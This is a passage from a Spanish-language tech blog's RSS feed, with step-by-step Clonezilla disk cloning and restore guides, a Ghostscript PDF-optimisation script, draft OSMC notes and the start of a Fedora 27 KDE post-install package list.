&lt;p>Introducimos el nombre que tendrá la copia de seguridad, es aconsejable mantener la estructura: &lt;em>YY-MM-DD-SO-NOMBRE&lt;/em> para una mayor claridad a la hora de revisar las copias de seguridad.&lt;/p>
&lt;p>&lt;img src="https://www.procamora.com/images/2018/ClonezillaClonar/12_ClonezillaClonar.png"
loading="lazy"
alt="1"
>&lt;/p>
&lt;p>Seleccionamos cual es el disco que queremos clonar, aquí nunca saldrá el disco que hemos montado anteriormente para guardar la copia, en este caso el disco que queremos clonar es &lt;strong>sda&lt;/strong>.&lt;/p>
&lt;p>&lt;img src="https://www.procamora.com/images/2018/ClonezillaClonar/13_ClonezillaClonar.png"
loading="lazy"
alt="1"
>&lt;/p>
&lt;p>Aquí nos empezara a pedir unas configuraciones básicas, mi recomendación es dejarlas todas por defecto, la opción por defecto es &lt;strong>-sfsck&lt;/strong> para saltar la revisión y reparación de la copia una vez que se ha hecho.&lt;/p>
&lt;p>&lt;img src="https://www.procamora.com/images/2018/ClonezillaClonar/14_ClonezillaClonar.png"
loading="lazy"
alt="1"
>&lt;/p>
&lt;p>Después nos preguntara si queremos comprobar si la imagen creada es restaurable, la opción recomendada es &lt;strong>Yes, check the saved image&lt;/strong>&lt;/p>
&lt;p>&lt;img src="https://www.procamora.com/images/2018/ClonezillaClonar/15_ClonezillaClonar.png"
loading="lazy"
alt="1"
>&lt;/p>
&lt;p>Indicamos que cuando termine se apague con &lt;strong>poweroff&lt;/strong>, ya que es un proceso largo y posiblemente no estemos cuando termine de clonarse.&lt;/p>
&lt;p>&lt;img src="https://www.procamora.com/images/2018/ClonezillaClonar/16_ClonezillaClonar.png"
loading="lazy"
alt="1"
>&lt;/p>
&lt;p>Nos muestra el comando que se va a ejecutar por si queremos usarlo la próxima vez automatizando todo el proceso.&lt;/p>
&lt;p>&lt;img src="https://www.procamora.com/images/2018/ClonezillaClonar/17_ClonezillaClonar.png"
loading="lazy"
alt="1"
>&lt;/p>
&lt;p>Nos muestra lo que se va a hacer y nos pide confirmación para proceder a hacer la copia.&lt;/p>
&lt;p>&lt;img src="https://www.procamora.com/images/2018/ClonezillaClonar/18_ClonezillaClonar.png"
loading="lazy"
alt="1"
>&lt;/p>
&lt;p>Empieza el proceso de clonado de cada partición de &lt;strong>sda&lt;/strong> en una carpeta de &lt;strong>sdb&lt;/strong> y cuando termine apagara el equipo.&lt;/p>
&lt;p>&lt;img src="https://www.procamora.com/images/2018/ClonezillaClonar/19_ClonezillaClonar.png"
loading="lazy"
alt="1"
>&lt;/p></description></item><item><title>Restaurar disco con Clonezilla</title><link>https://www.procamora.com/p/restaurar-disco-con-clonezilla/</link><pubDate>Fri, 16 Feb 2018 00:00:00 +0000</pubDate><guid>https://www.procamora.com/p/restaurar-disco-con-clonezilla/</guid><description>&lt;img src="https://www.procamora.com/covers/software.png" alt="Featured image of post Restaurar disco con Clonezilla" />&lt;h1 id="introducción">Introducción:&lt;/h1>
&lt;ul>
&lt;li>&lt;a class="link" href="#header0" >Configuración Inicial&lt;/a>&lt;/li>
&lt;li>&lt;a class="link" href="#header1" >Restauración del Disco&lt;/a>&lt;/li>
&lt;/ul>
&lt;p>En este ejemplo queremos restaurar la imagen del disco &lt;strong>sda&lt;/strong> que esta guardada en el disco &lt;strong>sdb&lt;/strong>.&lt;/p>
&lt;h1 id="header0">Configuración Inicial&lt;/h1>
&lt;p>Lo primero es seleccionar el idioma y el teclado, una vez hecho eso podemos iniciar Clonezilla de modo gráfico o en modo consola para introducir el comando a ejecutar directamente. En este caso lo haremos de forma gráfica con &lt;strong>Start_Clonezilla&lt;/strong>.&lt;/p>
&lt;p>&lt;img src="https://www.procamora.com/images/2018/ClonezillaRestaurar/1_ClonezillaRestaurar.png"
loading="lazy"
alt="1"
>&lt;/p>
&lt;p>En la mayoría de las ocasiones usaremos la opción &lt;strong>device-image&lt;/strong>, ya que queremos restaurar una imagen de un directorio a un disco.&lt;/p>
&lt;p>&lt;img src="https://www.procamora.com/images/2018/ClonezillaRestaurar/2_ClonezillaRestaurar.png"
loading="lazy"
alt="1"
>&lt;/p>
&lt;p>Seleccionamos el modo de conectarnos con el disco en el tenemos la imagen que queremos restaurar, en nuestro caso sera &lt;strong>local_dev&lt;/strong> que es un disco local.&lt;/p>
&lt;p>&lt;img src="https://www.procamora.com/images/2018/ClonezillaRestaurar/3_ClonezillaRestaurar.png"
loading="lazy"
alt="1"
>&lt;/p>
&lt;p>Ahora tenemos que conectar el disco al equipo en caso de que no estuviese conectado, pulsamos &lt;strong>Enter&lt;/strong> para que escanee los discos disponibles.&lt;/p>
&lt;p>&lt;img src="https://www.procamora.com/images/2018/ClonezillaRestaurar/4_ClonezillaRestaurar.png"
loading="lazy"
alt="1"
>&lt;/p>
&lt;p>Aquí veremos los discos que hay disponibles, tenemos:&lt;/p>
&lt;ul>
&lt;li>&lt;strong>sda&lt;/strong>: disco en el que queremos restaurar la imagen&lt;/li>
&lt;li>&lt;strong>sdb&lt;/strong>: disco donde tenemos la imagen del disco sda&lt;/li>
&lt;/ul>
&lt;p>&lt;img src="https://www.procamora.com/images/2018/ClonezillaRestaurar/5_ClonezillaRestaurar.png"
loading="lazy"
alt="1"
>&lt;/p>
&lt;p>Aquí vemos todas las particiones disponibles, tenemos que seleccionar el disco donde tenemos la imagen que queremos restaurar, ya que se va a montar para poder acceder a los directorios, en este caso &lt;strong>sdb1&lt;/strong>.&lt;/p>
&lt;p>&lt;img src="https://www.procamora.com/images/2018/ClonezillaRestaurar/6_ClonezillaRestaurar.png"
loading="lazy"
alt="1"
>&lt;/p>
&lt;p>Seleccionamos el directorio donde esta la imagen a restaurar, en este caso la raíz y le damos a &lt;strong>Done&lt;/strong>. Nos pedirá que le demos a &lt;strong>Enter&lt;/strong> para confirmar.&lt;/p>
&lt;p>&lt;img src="https://www.procamora.com/images/2018/ClonezillaRestaurar/9_ClonezillaRestaurar.png"
loading="lazy"
alt="1"
>&lt;/p>
&lt;h1 id="header1">Restauración del Disco&lt;/h1>
&lt;p>Seleccionamos &lt;strong>restoredisk&lt;/strong> ya que lo que deseamos hacer es restaurar una imagen.&lt;/p>
&lt;p>&lt;img src="https://www.procamora.com/images/2018/ClonezillaRestaurar/10_ClonezillaRestaurar.png"
loading="lazy"
alt="1"
>&lt;/p>
&lt;p>Nos saldrá la lista de imágenes disponibles para restaurar en el directorio que indicamos anteriormente, en esta ocasión solo tenemos 1 disponible por lo que la seleccionamos.&lt;/p>
&lt;p>&lt;img src="https://www.procamora.com/images/2018/ClonezillaRestaurar/11_ClonezillaRestaurar.png"
loading="lazy"
alt="1"
>&lt;/p>
&lt;p>Seleccionamos cual es el disco que queremos restaurar, aquí nunca saldrá el disco que hemos montado anteriormente para guardar la copia, en este caso el disco que queremos restaurar es &lt;strong>sda&lt;/strong>.&lt;/p>
&lt;p>&lt;img src="https://www.procamora.com/images/2018/ClonezillaRestaurar/12_ClonezillaRestaurar.png"
loading="lazy"
alt="1"
>&lt;/p>
&lt;p>Aquí nos empezara a pedir unas configuraciones básicas, mi recomendación es dejarlas todas por defecto, la opción por defecto es &lt;strong>Yes, check the image before restoring&lt;/strong> para chekear la integridad de la imagen antes de restaurarla.&lt;/p>
&lt;p>&lt;img src="https://www.procamora.com/images/2018/ClonezillaRestaurar/13_ClonezillaRestaurar.png"
loading="lazy"
alt="1"
>&lt;/p>
&lt;p>Indicamos que cuando termine se apague con &lt;strong>poweroff&lt;/strong>, ya que es un proceso largo y posiblemente no estemos cuando termine de clonarse.&lt;/p>
&lt;p>&lt;img src="https://www.procamora.com/images/2018/ClonezillaRestaurar/14_ClonezillaRestaurar.png"
loading="lazy"
alt="1"
>&lt;/p>
&lt;p>Nos muestra el comando que se va a ejecutar por si queremos usarlo la próxima vez automatizando todo el proceso y nos pide que pulsemos &lt;strong>Enter&lt;/strong> para confirmar la operación.&lt;/p>
&lt;p>&lt;img src="https://www.procamora.com/images/2018/ClonezillaRestaurar/15_ClonezillaRestaurar.png"
loading="lazy"
alt="1"
>&lt;/p>
&lt;p>Hace el checkeo de la imagen si anteriormente así lo indicamos como viene por defecto.&lt;/p>
&lt;p>&lt;img src="https://www.procamora.com/images/2018/ClonezillaRestaurar/16_ClonezillaRestaurar.png"
loading="lazy"
alt="1"
>&lt;/p>
&lt;p>Nos muestra lo que se va a hacer y nos pide confirmación 2 veces.&lt;/p>
&lt;p>&lt;img src="https://www.procamora.com/images/2018/ClonezillaRestaurar/17_ClonezillaRestaurar.png"
loading="lazy"
alt="1"
>&lt;/p>
&lt;p>Empieza el proceso de clonado de cada partición de &lt;strong>sda&lt;/strong> en una carpeta de &lt;strong>sdb&lt;/strong>.&lt;/p>
&lt;p>&lt;img src="https://www.procamora.com/images/2018/ClonezillaRestaurar/18_ClonezillaRestaurar.png"
loading="lazy"
alt="1"
>&lt;/p></description></item><item><title>Optimizar PDF's</title><link>https://www.procamora.com/p/optimizar-pdf/</link><pubDate>Tue, 30 Jan 2018 00:00:00 +0000</pubDate><guid>https://www.procamora.com/p/optimizar-pdf/</guid><description>&lt;img src="https://www.procamora.com/covers/software.png" alt="Featured image of post Optimizar PDF's" />&lt;p>Para optimizar un pdf usaremos la herramienta &lt;em>Ghostscript&lt;/em> tenemos 2 formas de utilizarlo: para un unico fichero o en un directorio.&lt;/p>
&lt;p>Optimizar un pdf:&lt;/p>
&lt;p>&lt;code>optimiza_pdf.sh fichero.pdf&lt;/code>&lt;/p>
&lt;p>Optimizar todos los pdf que hay en un directorio:&lt;/p>
&lt;p>&lt;code>find . -type f -name &amp;quot;*.pdf&amp;quot; -exec ./optimiza_pdf.sh {} \;&lt;/code>&lt;/p>
&lt;div class="highlight">&lt;div class="chroma">
&lt;table class="lntable">&lt;tr>&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code>&lt;span class="lnt">1
&lt;/span>&lt;span class="lnt">2
&lt;/span>&lt;span class="lnt">3
&lt;/span>&lt;span class="lnt">4
&lt;/span>&lt;span class="lnt">5
&lt;/span>&lt;span class="lnt">6
&lt;/span>&lt;span class="lnt">7
&lt;/span>&lt;span class="lnt">8
&lt;/span>&lt;span class="lnt">9
&lt;/span>&lt;/code>&lt;/pre>&lt;/td>
&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code class="language-bash" data-lang="bash">&lt;span class="line">&lt;span class="cl">&lt;span class="cp">#!/bin/bash
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="cp">&lt;/span>&lt;span class="c1">#Script para optimizar pdf se para como argumento el pdf&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1"># para ejecutarlo sobre un directorio find . -type f -name &amp;#34;*.pdf&amp;#34; -exec ./optimiza_pdf.sh {} \;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="nv">TEMP&lt;/span>&lt;span class="o">=&lt;/span>&lt;span class="s2">&amp;#34;temporal.pdf&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="nb">echo&lt;/span> &lt;span class="s2">&amp;#34;&lt;/span>&lt;span class="nv">$1&lt;/span>&lt;span class="s2">&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">gs -sDEVICE&lt;span class="o">=&lt;/span>pdfwrite -dCompatibilityLevel&lt;span class="o">=&lt;/span>1.4 -dNOPAUSE -dQUIET -dBATCH -sOutputFile&lt;span class="o">=&lt;/span>&lt;span class="s2">&amp;#34;&lt;/span>&lt;span class="nv">$TEMP&lt;/span>&lt;span class="s2">&amp;#34;&lt;/span> &lt;span class="s2">&amp;#34;&lt;/span>&lt;span class="nv">$1&lt;/span>&lt;span class="s2">&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">mv &lt;span class="s2">&amp;#34;&lt;/span>&lt;span class="nv">$TEMP&lt;/span>&lt;span class="s2">&amp;#34;&lt;/span> &lt;span class="s2">&amp;#34;&lt;/span>&lt;span class="nv">$1&lt;/span>&lt;span class="s2">&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/td>&lt;/tr>&lt;/table>
&lt;/div>
&lt;/div>&lt;p>Puedes descargar el script &lt;a class="link" href="https://www.procamora.com/code/optimiza_pdf.sh" >pulsado aqui&lt;/a>&lt;/p></description></item><item><title>Primeros pasos OSMC</title><link>https://www.procamora.com/p/primeros-pasos-osmc/</link><pubDate>Thu, 06 Jul 2017 00:00:00 +0000</pubDate><guid>https://www.procamora.com/p/primeros-pasos-osmc/</guid><description>&lt;img src="https://www.procamora.com/covers/draft.png" alt="Featured image of post Primeros pasos OSMC" />&lt;p>indice&lt;/p>
&lt;h1 id="basico">basico&lt;/h1>
&lt;p>sudo apt-get install vim encfs rsync&lt;/p>
&lt;p>#insync&lt;/p>
&lt;p>./insync-portable add_account -a &amp;ldquo;CÓDIGO_AUTORIZACIÓN&amp;rdquo; -p &amp;ldquo;RUTA&amp;rdquo;&lt;/p>
&lt;p>Código de autorización: es un código mediante el cual Google autoriza a Insync a acceder a tus archivos en Drive. Se obtiene en la siguiente URL: &lt;a class="link" href="https://goo.gl/jv797S" target="_blank" rel="noopener"
>https://goo.gl/jv797S&lt;/a>
os&lt;/p>
&lt;p>&lt;a class="link" href="https://miraspberrypi.wordpress.com/2016/04/24/insync-en-raspian-desde-linea-de-comando/" target="_blank" rel="noopener"
>https://miraspberrypi.wordpress.com/2016/04/24/insync-en-raspian-desde-linea-de-comando/&lt;/a>&lt;/p>
&lt;p>export LC_ALL=C.UTF-8 ## IMPORTANTE PARA QUE FUNCIONE descomprime_rar.py
export LC_CTYPE=ISO_8859_1&lt;/p>
&lt;h1 id="wiki">wiki&lt;/h1>
&lt;p>python3-devel&lt;/p>
&lt;p>pip3 install -r re&lt;/p>
&lt;h2 id="osmc">OSMC&lt;/h2>
&lt;p>instalar herramieentas desarrollo make, cmake, gcc. etc&lt;/p>
&lt;p>no tiene instalado el autocompletado de bash&lt;/p>
&lt;p>sudo apt-get install bash-completion&lt;/p></description></item><item><title>Primeros pasos Fedora 27 KDE Parte I</title><link>https://www.procamora.com/p/primeros-pasos-fedora-27-parte-i/</link><pubDate>Thu, 30 Mar 2017 00:00:00 +0000</pubDate><guid>https://www.procamora.com/p/primeros-pasos-fedora-27-parte-i/</guid><description>&lt;img src="https://www.procamora.com/covers/linux.png" alt="Featured image of post Primeros pasos Fedora 27 KDE Parte I" />&lt;h1 id="introducción">Introducción&lt;/h1>
&lt;p>En esta primera parte pondré todos las librerías y programas que suelo instalar en Fedora 25, en la segunda parte haré una configuración del entorno de trabajo (fstab, crontab, .ssh, etc)&lt;/p>
&lt;ul>
&lt;li>&lt;a class="link" href="#mark0" >RPMFusion&lt;/a>&lt;/li>
&lt;li>&lt;a class="link" href="#mark1" >Librerias basicas&lt;/a>&lt;/li>
&lt;li>&lt;a class="link" href="#mark2" >Compilación&lt;/a>&lt;/li>
&lt;li>&lt;a class="link" href="#mark3" >Compresión&lt;/a>&lt;/li>
&lt;li>&lt;a class="link" href="#mark4" >Codecs&lt;/a>&lt;/li>
&lt;li>&lt;a class="link" href="#mark5" >DVD&amp;rsquo;s&lt;/a>&lt;/li>
&lt;li>&lt;a class="link" href="#mark6" >Programas basicos&lt;/a>&lt;/li>
&lt;li>&lt;a class="link" href="#mark7" >HP&lt;/a>&lt;/li>
&lt;li>&lt;a class="link" href="#mark8" >Insync&lt;/a>&lt;/li>
&lt;li>&lt;a class="link" href="#mark9" >Pandoc&lt;/a>&lt;/li>
&lt;li>&lt;a class="link" href="#mark10" >Spotify&lt;/a>&lt;/li>
&lt;li>&lt;a class="link" href="#mark11" >Atom&lt;/a>&lt;/li>
&lt;li>&lt;a class="link" href="#mark12" >Visual Studio Code&lt;/a>&lt;/li>
&lt;li>&lt;a class="link" href="#mark13" >Skype&lt;/a>&lt;/li>
&lt;li>&lt;a class="link" href="#mark14" >Teamviewer&lt;/a>&lt;/li>
&lt;li>&lt;a class="link" href="#mark15" >Dropbox&lt;/a>&lt;/li>
&lt;li>&lt;a class="link" href="#mark16" >Gitkraken&lt;/a>&lt;/li>
&lt;li>&lt;a class="link" href="#mark17" >Pycharm&lt;/a>&lt;/li>
&lt;li>&lt;a class="link" href="#mark18" >Telegram&lt;/a>&lt;/li>
&lt;li>&lt;a class="link" href="#mark19" >Eclipse&lt;/a>&lt;/li>
&lt;li>&lt;a class="link" href="#mark21" >Google Chrome&lt;/a>&lt;/li>
&lt;li>&lt;a class="link" href="#mark22" >Google Music&lt;/a>&lt;/li>
&lt;li>&lt;a class="link" href="#mark23" >system-config-samba&lt;/a>&lt;/li>
&lt;li>&lt;a class="link" href="#mark24" >Drivers nvidia&lt;/a>&lt;/li>
&lt;li>&lt;a class="link" href="#mark25" >Peek&lt;/a>&lt;/li>
&lt;/ul>
&lt;h2 id="actualización-inicial">Actualización inicial&lt;/h2>
&lt;p>Lo primero que hay que hacer es actualizar el sistema y lo reiniciamos, posiblemente haya una gran cantidad de paquetes a actualizar, junto con la actualización del kernel por lo que después es bueno hacer un reinicio del sistema.&lt;/p>
&lt;div class="highlight">&lt;div class="chroma">
&lt;table class="lntable">&lt;tr>&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code>&lt;span class="lnt">1
&lt;/span>&lt;span class="lnt">2
&lt;/span>&lt;/code>&lt;/pre>&lt;/td>
&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code class="language-bash" data-lang="bash">&lt;span class="line">&lt;span class="cl">sudo dnf update
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">reboot
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/td>&lt;/tr>&lt;/table>
&lt;/div>
&lt;/div>&lt;h2 id="eliminar-programas-no-necesarios">Eliminar programas no necesarios&lt;/h2>
&lt;div class="highlight">&lt;div class="chroma">
&lt;table class="lntable">&lt;tr>&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code>&lt;span class="lnt">1
&lt;/span>&lt;/code>&lt;/pre>&lt;/td>
&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code class="language-bash" data-lang="bash">&lt;span class="line">&lt;span class="cl">sudo dnf remove dragon calligra-core
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/td>&lt;/tr>&lt;/table>
&lt;/div>
&lt;/div>&lt;h2 id="mark0">Añadir repositorio RPMFusion&lt;/h2>
&lt;p>Este repositorio es necesario para varios paquetes que instalaremos después (contiene programas importantes y paquetes nonfree).&lt;/p>
&lt;div class="highlight">&lt;div class="chroma">
&lt;table class="lntable">&lt;tr>&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code>&lt;span class="lnt">1
&lt;/span>&lt;/code>&lt;/pre>&lt;/td>
&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code class="language-bash" data-lang="bash">&lt;span class="line">&lt;span class="cl">sudo dnf install https://download1.rpmfusion.org/free/fedora/rpmfusion-free-release-&lt;span class="k">$(&lt;/span>rpm -E %fedora&lt;span class="k">)&lt;/span>.noarch.rpm
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/td>&lt;/tr>&lt;/table>
&lt;/div>
&lt;/div>&lt;h2 id="mark1">Paquetes y librerías que mas uso&lt;/h2>
&lt;p>Conjunto de librerías y utilidades básicas, traducciones de programas a español, corrector ortográficos, etc.&lt;/p>
&lt;div class="highlight">&lt;div class="chroma">
&lt;table class="lntable">&lt;tr>&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code>&lt;span class="lnt">1
&lt;/span>&lt;span class="lnt">2
&lt;/span>&lt;span class="lnt">3
&lt;/span>&lt;span class="lnt">4
&lt;/span>&lt;/code>&lt;/pre>&lt;/td>
&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code class="language-bash" data-lang="bash">&lt;span class="line">&lt;span class="cl">sudo dnf install kde-i18n-Spanish mythes-es hyphen-es autocorr-es hunspell-es langpacks-es &lt;span class="se">\
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="se">&lt;/span>aspell-es man-pages-es-extra kde-l10n-es android-tools expect flac-libs &lt;span class="se">\
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="se">&lt;/span>fluid-soundfont-common encfs samba wine curl system-config-users meld youtube-dl &lt;span class="se">\
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="se">&lt;/span>wget iftop
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/td>&lt;/tr>&lt;/table>
&lt;/div>
&lt;/div>&lt;h2 id="java">Java&lt;/h2>
&lt;div class="highlight">&lt;div class="chroma">
&lt;table class="lntable">&lt;tr>&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code>&lt;span class="lnt">1
&lt;/span>&lt;/code>&lt;/pre>&lt;/td>
&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code class="language-bash" data-lang="bash">&lt;span class="line">&lt;span class="cl">sudo dnf install java-openjdk java-1.8.0-openjdk-javadoc java-1.8.0-openjdk-devel
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/td>&lt;/tr>&lt;/table>
&lt;/div>
&lt;/div>&lt;h2 id="mark2">Herramientas básicas de compilación&lt;/h2>
&lt;p>Conjunto de librerías básicas de compilación&lt;/p>
&lt;div class="highlight">&lt;div class="chroma">
&lt;table class="lntable">&lt;tr>&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code>&lt;span class="lnt">1
&lt;/span>&lt;span class="lnt">2
&lt;/span>&lt;/code>&lt;/pre>&lt;/td>
&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code class="language-bash" data-lang="bash">&lt;span class="line">&lt;span class="cl">sudo dnf install kernel-headers kernel-devel git make libxml2 libxml2-devel mercurial &lt;span class="se">\
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="se">&lt;/span>cmake python-devel python3-devel gcc-c++ dkms openssl-devel
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/td>&lt;/tr>&lt;/table>
&lt;/div>
&lt;/div>&lt;h1 id="mark3">Compresión y descompresión&lt;/h1>
&lt;p>Conjunto de librerías básicas de compresión y descompresión&lt;/p>
&lt;div class="highlight">&lt;div class="chroma">
&lt;table class="lntable">&lt;tr>&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code>&lt;span class="lnt">1
&lt;/span>&lt;/code>&lt;/pre>&lt;/td>
&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code class="language-bash" data-lang="bash">&lt;span class="line">&lt;span class="cl">sudo dnf install p7zip p7zip-plugins zip unzip unrar
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/td>&lt;/tr>&lt;/table>
&lt;/div>
&lt;/div>&lt;h2 id="mark4">Codecs&lt;/h2>
&lt;p>Conjunto de codecs necesarios para la reproducción de audio con código privado (mp3, etc)&lt;/p>
&lt;div class="highlight">&lt;div class="chroma">
&lt;table class="lntable">&lt;tr>&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code>&lt;span class="lnt">1
&lt;/span>&lt;span class="lnt">2
&lt;/span>&lt;span class="lnt">3
&lt;/span>&lt;span class="lnt">4
&lt;/span>&lt;span class="lnt">5
&lt;/span>&lt;span class="lnt">6
&lt;/span>&lt;/code>&lt;/pre>&lt;/td>
&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code class="language-bash" data-lang="bash">&lt;span class="line">&lt;span class="cl">sudo dnf install gstreamer gstreamer1-libav gstreamer1-plugins-bad-free-extras &lt;span class="se">\
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="se">&lt;/span>gstreamer1-plugins-bad-freeworld gstreamer1-plugins-good-extras pavucontrol &lt;span class="se">\
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="se">&lt;/span>gstreamer-ffmpeg gstreamer-plugins-bad gstreamer-plugins-bad-free-extras &lt;span class="se">\
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="se">&lt;/span>gstreamer-plugins-ugly ffmpeg ffmpeg-libs libmatroska xvidcore libva-vdpau-driver &lt;span class="se">\
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="se">&lt;/span>libvdpau libvdpau-devel gstreamer1-vaapi gstreamer1-plugins-base-tools mencoder &lt;span class="se">\
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="se">&lt;/span>alsa-firmware gstreamer1-plugins-ugly
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/td>&lt;/tr>&lt;/table>
&lt;/div>
&lt;/div>&lt;h2 id="mark5">Soporte para DVD&amp;rsquo;s&lt;/h2>
&lt;p>Conjunto de librerías necesarias para la reproducción de DVD&amp;rsquo;s&lt;/p>
&lt;div class="highlight">&lt;div class="chroma">
&lt;table class="lntable">&lt;tr>&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code>&lt;span class="lnt">1
&lt;/span>&lt;/code>&lt;/pre>&lt;/td>
&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code class="language-bash" data-lang="bash">&lt;span class="line">&lt;span class="cl">sudo dnf install lsdvd libdvbpsi libdvdread libdvdnav
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/td>&lt;/tr>&lt;/table>
&lt;/div>
&lt;/div>&lt;h2 id="mark6">Programas básicos&lt;/h2>
&lt;div class="highlight">&lt;div class="chroma">
&lt;table class="lntable">&lt;tr>&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code>&lt;span class="lnt">1
&lt;/span>&lt;span class="lnt">2
&lt;/span>&lt;span class="lnt">3
&lt;/span>&lt;/code>&lt;/pre>&lt;/td>
&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code class="language-bash" data-lang="bash">&lt;span class="line">&lt;span class="cl">sudo dnf install VirtualBox vim yakuake libreoffice libreoffice-langpack-es &lt;span class="se">\
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="se">&lt;/span>gnome-disk-utility sqlitebrowser gimp vlc fritzing kdenlive frei0r-plugins &lt;span class="se">\
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="se">&lt;/span>calibre picard chromaprint-tools arduino vokoscreen filezilla
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/td>&lt;/tr>&lt;/table>
&lt;/div>
&lt;/div>&lt;h2 id="mark7">Dispositivos HP (impresora)&lt;/h2>
&lt;div class="highlight">&lt;div class="chroma">
&lt;table class="lntable">&lt;tr>&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code>&lt;span class="lnt">1
&lt;/span>&lt;/code>&lt;/pre>&lt;/td>
&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code class="language-bash" data-lang="bash">&lt;span class="line">&lt;span class="cl">sudo dnf install hplip hplip-common libsane-hpaio hplip-gui
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/td>&lt;/tr>&lt;/table>
&lt;/div>
&lt;/div>&lt;h1 id="mark8">Insync&lt;/h1>
&lt;div class="highlight">&lt;div class="chroma">
&lt;table class="lntable">&lt;tr>&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code>&lt;span class="lnt">1
&lt;/span>&lt;span class="lnt">2
&lt;/span>&lt;span class="lnt">3
&lt;/span>&lt;span class="lnt">4
&lt;/span>&lt;span class="lnt">5
&lt;/span>&lt;span class="lnt">6
&lt;/span>&lt;span class="lnt">7
&lt;/span>&lt;span class="lnt">8
&lt;/span>&lt;span class="lnt">9
&lt;/span>&lt;/code>&lt;/pre>&lt;/td>
&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code class="language-bash" data-lang="bash">&lt;span class="line">&lt;span class="cl">sudo rpm --import https://d2t3ff60b2tol4.cloudfront.net/repomd.xml.key
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">sudo &lt;span class="nb">echo&lt;/span> &lt;span class="s2">&amp;#34;[insync]
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="s2">name=insync repo
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="s2">baseurl=http://yum.insynchq.com/fedora/\$releasever/
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="s2">gpgcheck=1
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="s2">gpgkey=https://d2t3ff60b2tol4.cloudfront.net/repomd.xml.key
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="s2">enabled=1
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="s2">metadata_expire=120m&amp;#34;&lt;/span> &amp;gt; /etc/yum.repos.d/insync.repo
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">sudo dnf install insync insync-dolphin
